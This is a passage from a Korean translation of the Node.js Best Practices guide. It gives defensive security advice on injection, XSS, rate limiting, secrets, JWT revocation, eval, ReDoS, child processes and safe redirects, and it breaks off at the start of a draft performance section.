수용\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20XSS%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security)와 같은 보안 관련 linter 플러그인을 사용하여 보안 취약점과 문제점을 가능한 한 빨리 잡아라. 이것은 eval 사용, 자식 프로세스 호출, string literal(예: 사용자 입력)을 쓰는 모듈 불러오기 같은 보안 취약점을 잡는데 도움이 될 수 있다. 보안 linter가 잡는 코드를 보려면, 아래의 '자세히 보기'을 클릭해라.\n\n**그렇게 하지 않을 경우:** 개발과정에서는 이해하기 쉬운 보안 약점이었음에도 상용환경에서는 주요쟁점이 된다. 또, 프로젝트가 일관된 보안 프렉티스를 따르지 않아, 취약점이 노출되거나 민감한 정보가 원격 저장소에 유출될 수 있다.\n\n🔗 [**자세히 보기: Lint rules**](./sections/security/lintrules.md)\n\n<br/><br/>\n\n## ![✔] 6.2. 미들웨어로 병행연산 (concurrent) 요청들을 제한해라\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** DOS 서비스 거부 공격은 흔하며 하기에도 비교적 쉽다. 클라우드 로드밸런서, 클라우드 방화벽, nginx, [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) 패키지나, (소규모의 덜 중요한 앱의 경우) 비율제한 미들웨어(예: [express-rate-limit](https://www.npmjs.com/package/express-rate-limit))를 써서 비율제한을 시행해라.\n\n**그렇게 하지 않을 경우:** 애플리케이션이 서비스 거부 공격을 받으면 실제 이용자들이 받는 서비스가 저하되거나 먹통이 된다.\n\n🔗 [**자세히 보기: Implement rate limiting**](./sections/security/limitrequests.md)\n\n<br/><br/>\n\n## ![✔] 6.3 기밀은 설정 파일에서 빼거나 패키지를 이용해서 암호화해라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A3:Sensitive%20Data%20Exposure%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** 기밀사항은 절대 평문 형태로 설정 파일이나 소스코드에 저장하지 말아라. 그 대신 Vault나 Kubernetes/Docker Secrets나 환경변수 같은 기밀사항 관리 시스템을 써라. 부득이하게 소스 콘트롤에 기밀사항을 저장해야 하는 경우, 반드시 암호화해서 관리해라 (rolling keys, 만료, 감사 등). pre-commit/push hook을 사용해서 실수로 기밀사항을 버젼 콘트롤에 커밋하는 것을 막아라.\n\n**그렇게 하지 않을 경우:** 비공개 저장소라 하여도 소스 제어가 실수로 공개되면 모든 기밀사항이 그대로 드러난다. 외부관계자가 소스제어에 접근이 가능해지면 의도치 않아도 관련 시스템(데이터베이스, API, 서비스 등)에도 접근을 허락하는것과 마찬가지다.\n\n🔗 [**자세히 보기: Secret management**](./sections/security/secretmanagement.md)\n\n<br/><br/>\n\n## ![✔] 6.4. ORM/ODM 라이브러리를 사용해 쿼리 주입 공격을 막아라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** SQL/NoSQL 주입과 같은 악의적인 공격을 막기 위해서는 ORM/ODM을 쓰거나, 데이터를 항상 이스케이프 처리 해 주거나 named or indexed parameterized queries를 지지하고, expected data type의 사용자 입력을 확인해주는 데이터베이스 라이브러리를 항상 활용해라. 자바스크립트 템플릿 문자열(template strings)이나 문자열 병합(string concatenation)으로 값을 주입하면 앱을 광범위한 취약점에 노출시키므로 절대 그대로 써서는 안된다. 평판이 좋은 Node.js 데이터 접근 라이브러리들(예: [Sequelize](https://github.com/sequelize/sequelize), [Knex](https://github.com/tgriesser/knex), [mongoose](https://github.com/Automattic/mongoose))은 모두 주입 공격을 막아주는 보호대책이 내장되어있다.\n\n**그렇게 하지 않을 경우:** 확인되지 않거나 (unvalidated) 살균되지 않은 (unsanitized) 사용자 입력은 MangoDB for NoSQL를 쓸 때 operator injection를 초래할 수 있고, 제대로 된 위생처리 시스템이나 ORM을 쓰지 않는것은 SQL 주입 공격을 쉽게 만들어 엄청난 취약점을 만들어낼 수 있다.\n\n🔗 [**자세히 보기: Query injection prevention using ORM/ODM libraries**](./sections/security/ormodmusage.md)\n\n<br/><br/>\n\n## ![✔] 6.5. 일반적인 보안 모범사례 모음\n\n**핵심요약:** 이것은 Node.js와는 직접적으로 관련되지 않은 보안과 관련된 조언 모음집이지만, Node의 시행도 다른 언어들과 그닥 다르지 않다. 자세히 보기를 클릭해서 읽어봐라.\n\n🔗 [**자세히 보기: Common security best practices**](./sections/security/commonsecuritybestpractices.md)\n\n<br/><br/>\n\n## ![✔] 6.6. HTTP 응답 헤더를 조정해서 보안을 강화해라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** 보안 헤더를 사용해서 교차사이트 스트립팅 (XSS), 클릭재킹과 같이 자주 있는 악의적인 공격들을 막아라. [helmet](https://www.npmjs.com/package/helmet)과 같은 모듈을 사용하면 쉽게 설정할 수 있다.\n\n**그렇게 하지 않을 경우:** 공격자들이 애플리케이션 사용자들을 직접적으로 공격할 수 있게되면 엄청난 보안 취약점을 초래할 수 있다\n\n🔗 [**자세히 보기: Using secure headers in your application**](./sections/security/secureheaders.md)\n\n<br/><br/>\n\n## ![✔] 6.7. 끊임없이 자동적으로 취약한 의존성은 없는지 검사해라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Known%20Vulnerabilities%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** npm 생태계의 프로젝트들은 의존성이 여럿 있는것이 보통이다. 의존성들은 새로운 취약점들이 발견 될 때마다 고쳐야 한다. [npm audit](https://docs.npmjs.com/cli/audit)이나 [snyk](https://snyk.io/) 같은 도구들을 이용해 취약한 의존성을 감시하고 패치해라. 이런 도구들을 CI 체재와 통합시켜 취약한 의존성이 상용버젼까지 새어 나가기 전에 잡아라\n\n**그렇게 하지 않을 경우:** 공격자가 당신의 웹 프레임워크를 감지하면 알려진 모든 취약점을 공격할 수 있다.\n\n🔗 [**자세히 보기: Dependency security**](./sections/security/dependencysecurity.md)\n\n<br/><br/>\n\n## ![✔] 6.8. 암호를 처리할 때는 Node.js의 암호 라이브러리 대신 Bcrypt를 써라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** 암호나 기밀사항(API keys)들은 `bcrypt` 같은 보안 해시+솔트 함수를 쓰는것이 자바스크립트 implementation을 쓰는 것보다 보안이나 성능면에서 더 낫다.\n\n**그렇게 하지 않을 경우:** 보안함수(secure function)를 쓰지 않고 저장된 암호나 기밀사항들은 억지기법이나 사전공격에 취약해져 결국엔 다 뚫리게 된다.\n\n🔗 [**자세히 보기: Use Bcrypt**](./sections/security/userpasswords.md)\n\n<br/><br/>\n\n## ![✔] 6.9. HTML, JS and CSS 출력은 이스케이프 해라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** 신뢰할 수 없는 데이터가 브라우져에 보내져 보여지기만 하는게 아니라 실행이되는것을 교차 사이트 스크립팅 (XSS) 이라고 한다. 데이터를 명백하게 절대 실행되어서는 안되는 콘텐트라고 (즉 엔코딩이라던가 이스케이프한다던가) 표시하는 것 전용 라이브러리를 써서 이것을 완화시켜라\n\n**그렇게 하지 않을 경우:** 공격자가 악의적인 자바스크립트 코드를 당신 DB에 저장하면 불쌍한 클라이언트에게 그대로 보내질 수 있다\n\n🔗 [**자세히 보기: Escape output**](./sections/security/escape-output.md)\n\n<br/><br/>\n\n## ![✔] 6.10. 들어오는 JSON 스키마를 검사해라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7: XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** 들어오는 요청들의 body payload를 검사하여 기대에 부응하지는지 확인하고, 하지 않을경우 실패시켜버려라. [jsonschema](https://www.npmjs.com/package/jsonschema)나 [joi](https://www.npmjs.com/package/joi) 같은 JSON-기반의 경량의 validation schema를 쓰면 성가시게 매 경로마다 검사를 코딩해야 하는 일을 피할 수 있다.\n\n**그렇게 하지 않을 경우:** 입력에 대해 너그럽고 관대하면 공격 받을 수 있는 면적이 넓어지고, 공격자에게 애플리케이션을 끌어내리는 조합을 찾을때까지 다양한 입력값을 시도해보도록 장려하는 꼴이 된다.\n\n🔗 [**자세히 보기: Validate incoming JSON schemas**](./sections/security/validation.md)\n\n<br/><br/>\n\n## ![✔] 6.11. JWT 블랙리스트를 지원해라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** JSON Web Token(이를테면 [Passport.js](https://github.com/jaredhanson/passport)같은)을 쓰는 경우, 기본적으로 발행된 토큰의 권한을 취소하는 메커니즘은 없다. 사용자가 악의적인 행동을 한다 해도 유효한 토큰이 있는한 막을 길이 없다. 신뢰할 수 없는 토큰 블랙리스트를 만들어 매 요청마다 검사해서 완화시켜라.\n\n**그렇게 하지 않을 경우:** 제삼자가 만료되었거나 부적절한 토큰을 악의적으로 사용하여 애플리케이션에 접근하거나 토큰 소유자인 척 가장할 수 있다.\n\n🔗 [**자세히 보기: Blacklist JSON Web Tokens**](./sections/security/expirejwt.md)\n\n<br/><br/>\n\n## ![✔] 6.12. 권한부여 억지기법 공격을 예방해라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** 간단하지만 강력한 테크닉은 다음 두가지를 측량하여 권한부여 (authorization) 시도를 제한하는 것이다:\n\n1. 첫째는 같은 사용자의 고유 아이디/이름과 IP주소로부터의 연이은 실패 시도 갯수\n2. 두번째는 오랜 시간 동안 같은 IP 주소에서부터의 실패 시도 갯수. 예를 들면, 같은 IP 주소로부터 하루 사이 실패 시도가 100개라면 차단해버려라.\n\n**그렇게 하지 않을 경우:** 공격자가 무제한으로 암호를 시도해서 특권있는 계좌에 접근할 수 있다\n\n🔗 [**자세히 보기: Login rate limiting**](./sections/security/login-rate-limit.md)\n\n<br/><br/>\n\n## ![✔] 6.13. Node.js를 루트가 아닌 사용자로써 실행하라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A5:Broken%20Access%20Access%20Control-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** Node.js가 승인에 제한이 없는 루트 사용자로써 실행하는 일이 비일비재하다. 예를 들면, 도커 컨테이너 안에서는 이것이 기본적인 설정이다. 루트가 아닌 사용자를 만들어 도커 이미지에 구워넣거나 (아래예시) 프로세스를 \"-u username\" 플래그를 써서 이 사용자를 대신해서 실행하는것을 추천한다.\n\n**그렇게 하지 않을 경우:** 공격자가 서버에 스크립트를 실행하는데 성공하면 로컬 머신을 마음대로 할 권리를 무제한으로 갖게 된다 (예: iptable을 바꾼다던가 트래픽 경로를 자기 서버로 변경 한다던가)\n\n🔗 [**자세히 보기: Run Node.js as non-root user**](./sections/security/non-root-user.md)\n\n<br/><br/>\n\n## ![✔] 6.14. 리버스 프록시나 미들웨어를 사용해서 페이로드 크기를 제한해라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** 페이로드 사이즈가 클수록, 단일 스레드가 이것을 처리하는데 더 열심히 일해야 한다. 이것은 공격자들이 엄청난 양의 요청(DOS/DDOS 공격)을 쓰지 않고도 서버를 끌어내릴 수 있는 기회를 제공한다. 가장자리(예: 방화벽, ELB)에서 들어오는 요청들의 바디 크기를 제한하거나, 소규모의 페이로드만 받아들이도록 [express body parser](https://github.com/expressjs/body-parser)를 설정해라\n\n**그렇게 하지 않을 경우:** 애플리케이션이 커다란 요청을 처리해야하면 다른 중요한 일을 완수할 수 없게 되어 성능이 영향을 받고 DOS 공격에 취약하게 된다\n\n🔗 [**자세히 보기: Limit payload size**](./sections/security/requestpayloadsizelimit.md)\n\n<br/><br/>\n\n## ![✔] 6.15. 자바스크립트 eval statement를 피하라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** `eval`은 임의적인 자바스크립트 코드를 런타임시 실행하는것을 허용하기에 사악하다. 이는 성능면에서 문제가 될 뿐 아니라 사용자 입력을 근원으로 한 악의적인 자바스크립트 코드 때문에 보안면에서도 문제가 된다. 피해야 할 또다른 언어 특색으로는 `new Function` constructor 생성자가 있다. `setTimeout`와 `setInterval` 또한 절대로 동적이 자바스크립트 코드를 주어서는 안된다.\n\n**그렇게 하지 않을 경우:** 악의적인 자바스크립트 코드가 `eval`같이 실시간으로 평가하는 자바스크립트 언어 함수에 넘어가면 페이지 안의 자바스크립트 승인을 완전히 장악하게 된다. 이 취약점은 XSS 공격 형태로 자주 나타난다.\n\n🔗 [**자세히 보기: Avoid JavaScript eval statements**](./sections/security/avoideval.md)\n\n<br/><br/>\n\n## ![✔] 6.16. 악성 정규표현(RegEx)이 단일 스레드 실행을 과부하시키는것을 막아라\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** 정규표현은 유용하긴 하지만 자바스크립트 애플리케이션, 특히나 Node.js 플랫폼의 경우 전체적으로 위협을 가한다. 사용자 입력 텍스트를 비교하여 처리하는데는 엄청난 양의 CPU 사이클이 요구된다. 단어 10개를 검사하는 단 하나의 요청이 이벤트 루프 전체를 6초동안 정체시키고 CPU를 🔥지를 만큼 RegEx 처리는 비효율적이다. 이 때문에,직접 정규표현 패턴을 작성하기 보다는 [validator.js](https://github.com/chriso/validator.js) 같은 써드파티 검사 패키지를 쓰거나, [safe-regex](https://github.com/substack/safe-regex)를 써서 취약한 정규표한 패턴을 감지해라\n\n**그렇게 하지 않을 경우:** 저조하게 쓰여진 정규표현들은 이벤트 루프를 완전히 정체시킬 수 있는 정규표현 DOS 공격에 취약해진다. 예를들면, 자주 쓰이는 `moment` 패키지 또한 2017년 11월에 악성 정규표현 사용에 취약하다는 것이 발견되었다\n\n🔗 [**자세히 보기: Prevent malicious RegEx**](./sections/security/regex.md)\n\n<br/><br/>\n\n## ![✔] 6.17. 변수를 사용해 모듈을 로딩하는것을 피해라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** 매개변수가 사용자 입력이 원천지일 염려가 있으므로 다른 파일을 파라메터 형태의 경로로 require/import 하는것은 피해라. 이건 일반적으로 사용자 입력을 원천지로 한 다른 동적 변수로 파일이나 (즉 `fs.readFile()`) 다른 민감한 리소스에 접근할 때도 해당한다. [Eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security) 린터를 쓰면 이런 패턴들을 초반에 잡아내어 경고해준다\n\n**그렇게 하지 않을 경우:** 악의적인 사용자 입력이 이전에 파일시스템에 업로드되었거나 이미 시스템에 존재하는 흑화된 파일을 require 하는데 쓰이는 매개변수로 들어가게 될 수 있다.\n\n🔗 [**자세히 보기: Safe module loading**](./sections/security/safemoduleloading.md)\n\n<br/><br/>\n\n## ![✔] 6.18. 위험한 코드는 샌드박스 안에서 실행해라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** 런타임에 주어진 외부 코드(예: 플러그인)를 실행해야 하는 경우, 메인 코드를 플러그인으로부터 격리시켜 보호하는 샌드박스 실행 환경을 무엇이든 써라. 전용 프로세스나 (예: `cluster.fork()`), 서버리스 환경이나 샌드박스 역할을 하는 전용 npm 패키지를 사용하면 달성할 수 있다.\n\n**그렇게 하지 않을 경우:** 플러그인이 무한 루프나, 메모리 과부화나, 민감한 프로세스 환경 변수로의 접근과 같이 무한히 가지각색으로 공격할 수 있다\n\n🔗 [**자세히 보기: Run unsafe code in a sandbox**](./sections/security/sandbox.md)\n\n<br/><br/>\n\n## ![✔] 6.19. 자식 프로세스를 다룰 땐 특히 조심해라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A4:External%20Entities%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** 자식 프로세스를 쓰는것은 가능한 한 피하고, 부득이하게 써야 한다면 입력은 검사하고 무결처리해서 shell 주입 공격을 완화시켜라. 정의상 속성 집합이 있는 단일 명령어만 수행하고 shell 매개변수 확장을 허가하지 않는 `child_process.execFile` 쓰는것을 선호해라.\n\n**그렇게 하지 않을 경우:** 순진무구하게 자식 프로세스를 썼다가는 악의적인 사용자 입력이 무결처리 되지 않은 시스템 명령어로 인한 원격 커맨드 실행이나 쉘 주입 공격을 초래할 수 있다.\n\n🔗 [**자세히 보기: Be cautious when working with child processes**](./sections/security/childprocesses.md)\n\n<br/><br/>\n\n## ![✔] 6.20. 에러 세부사항은 클라이언트로부터 숨겨라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** 통합된 express 에러 핸들러는 기본적으로 에러 세부사항을 감춘다. 허나, 당신이 커스텀 에러 처리 로직을 만들어 쓰고 있을 가능성이 높다 (많은이들이 이게 모범사례라고 여긴다). 그럴 경우 민감한 애플리케이션 세부사항을 포함할 수 있는 에러 객체를 절대로 통째로 클라이언트에 보내주지 않도록 해라\n\n**그렇게 하지 않을 경우:** 서버 파일 경로나, 사용중인 제삼자 모듈, 그리고 그 외 애플리케이션 내부 작업 순서 같이 공격자가 악용할 수 있는 민감한 애플리케이션 세부사항이 스택트레이스에 보여지는 정보로 새어나갈 수 있다\n\n🔗 [**자세히 보기: Hide error details from client**](./sections/security/hideerrors.md)\n\n<br/><br/>\n\n## ![✔] 6.21. npm이나 yarn 이중인증(2FA)을 설정해라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** 개발 과정의 모든 단계는 다중인증(MFA: multi-factor authentication)을 사용해서 보호해야한다. npm이나 Yarn은 공격자들이 개발자 암호를 수집할 수 있는 절호의 기회다. 공격자들은 개발자의 크리덴셜을 사용하면 악의적인 코드를 다양한 프로젝트와 서비스에 널리 설치된 라이브러리에 주입할 수 있다. 공개 출판 되었다면 웹상에서도 가능하다. npm 이중인증을 활성화 해 두면 공격자들이 패키지 코드를 변경할 확률이 0에 가까워진다.\n\n**그렇게 하지 않을 경우:** [암호를 하이재킹 당한 eslint 개발자에 대해 들어봤는가?](https://medium.com/@oprearocks/eslint-backdoor-what-it-is-and-how-to-fix-the-issue-221f58f1a8c8)\n\n<br/><br/>\n\n## ![✔] 6.22. 세션 미들웨어 설정을 수정해라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** 웹 프레임워크나 장비는 각각 고유의 약점이 있다-공격자에게 어떤 웹 프레임워크를 쓰는지 알려주는 것은 그들을 돕는 꼴이 된다. 세션 미들웨어 기본설정을 쓰는 것은 `X-Powered-By` 헤더같이 모듈이나 프레임워크 관련 하이재킹 공격에 앱이 취약해지게 만든다. 테크 스택의 신분(예: Node.js, express)을 드러내는 것은 일단 감추고 봐라\n\n**그렇게 하지 않을 경우:** 쿠키가 insecure 연결로 송신되면 공격자가 세션 ID를 보고 웹 어플리케이션 프레임워크를 식별하고, 모듈관련 취약점도 찾아낼 수 있다\n\n🔗 [**자세히 보기: Cookie and session security**](./sections/security/sessions.md)\n\n<br/><br/>\n\n## ![✔] 6.23. 프로세스가 언제 충돌해야 하는지 명백히 해서 DOS 공격을 피해라\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** Node 프로세스는 에러가 처리되지 않으면 충돌한다. 많은 모범사례들이 에러를 받아 처리했음에도 exit 하는것을 권장한다. Express로 예를 들자면, 비동기 에러가 발생한 경우, route를 catch clause로 감싸지 않는 한 항상 충돌로 이어진다. 이건 어떤 입력이 프로세스를 충돌시키는지 아는 공격자들이 같은 요청을 계속 보내는 공격을 할 수 있게 만들어 버린다. 이것을 바로 고칠 수 있는 방안은 없지만, 통증을 완화시킬 수 있는 방법이 몇 개 존재한다: 프로세스가 처리되지 않은 에러로 인해 충돌할 때마다 치명적인 심각성으로 경보를 발하고, 입력을 검사하며 무효한 사용자 입력으로 인한 충돌을 피하고, 모든 route들을 catch로 감싸고, 에러의 원인지가 요청이면 충돌하지 않는것을 고려해라 (에러가 global하게 나는것과 반대로)\n\n**그렇게 하지 않을 경우:** 경험에서 우러난 추측이긴 하지만: Node.js 애플리케이션이 여럿 있을때, 모든 POST 요청에 빈 JSON body를 붙여 보내면 그중 애플리케이션이 몇 개 충돌한다. 그 시점으로부터는 계속 같은 요청을 보내면 나머지 애플리케이션들을 쉽게 흐너뜨릴 수 있다.\n\n<br/><br/>\n\n## ![✔] 6.24. 위험한 리디렉트는 막아라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** 사용자 입력을 검사하지 않는 리디렉트는 공격자가 피싱 사기나 사용자 자격 절도와 같이 악의적인 공격을 할 수 있게 한다.\n\n**그렇게 하지 않을 경우:** 공격자가 당신이 외부 유저로부터 조달된 입력을 검사하지 않는다는 것을 발견 할 경우, 특수 조작된 포럼 링크를 포럼이나 소셜 미디어, 그 외 공공 장소에 게재해서 유저들이 클릭하도록 해서 이 취약점을 악용할 수 있다.\n\n🔗 [**자세히 보기: Prevent unsafe redirects**](./sections/security/saferedirects.md)\n\n<br/><br/>\n\n## ![✔] 6.25. 기밀사항을 npm registry에 출판하는것을 막아라\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**핵심요약:** 공공 npm 레지스트리에 기밀사항을 실수로 발행하는 것을 미리 예방해라. `.npmignore` 파일을 사용해서 특정 파일이나 폴더를 블랙리스트하거나, `package.json` 안의 `files` 배열이 화이트리스트 역할을 할 수 있다.\n\n**그렇게 하지 않을 경우:** 프로젝트의 API key나, 암호나, 그 외 기밀사항들이 이것들을 우연히 발견한 이들 누구나에 의해 남용되면 재정적 손실이나 사칭과 같은 위험을 초래할 수 있다.\n\n🔗 [**자세히 보기: Avoid publishing secrets**](./sections/security/avoid_publishing_secrets.md)\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#목차\">⬆ Return to top</a></p>\n\n# `7. 초안: 성능`\n\n## 협력자들이 현재 작업중입니다. [함께 하시겠습니까?](https://github.com/goldbergyoni/nodebestpractices/issues/256)\n\n<br/><br/>\n\n## ![✔] 7.1. 이벤트 루프를 막지 말아라\n\n**핵심요약:** CPU 집약적인 과제들은 거의 단일 스레드로 된 이벤드 루프를 블로킹하고 전용 스레드나 프로세스, 혹은 컨텍스트에 따라 그 외 다른 기술에 떠넘기므로 피하라.\n\n**그렇게 하지 않을 경우:** 이벤트 루프가 블로킹되면 Node.js는 다른 요청을 처리할 수 없게 되어 동시성 (concurrent) 사용자들을 지체하게 한다. **사용자 3000명이 응답을 기다리고 있고, 콘텐츠도 제공될 준비가 되어있는데, 단 하나의 요청이 서버가 결과물을 발송하지 못하도록 블로킹 할 수 있다**\n\n🔗 [**자세히 보기: Do not block the event loop**](./sections/performance/block-loop.md)\n\n<br /><br /><br />\n\n## ![✔] 7.2. Lodash같은 user-land 유틸 대신 네이티브 자바스크립트 메소드를 택해라\n\n**핵심요약:** 네이티브 메소드 대신 `lodash` 나 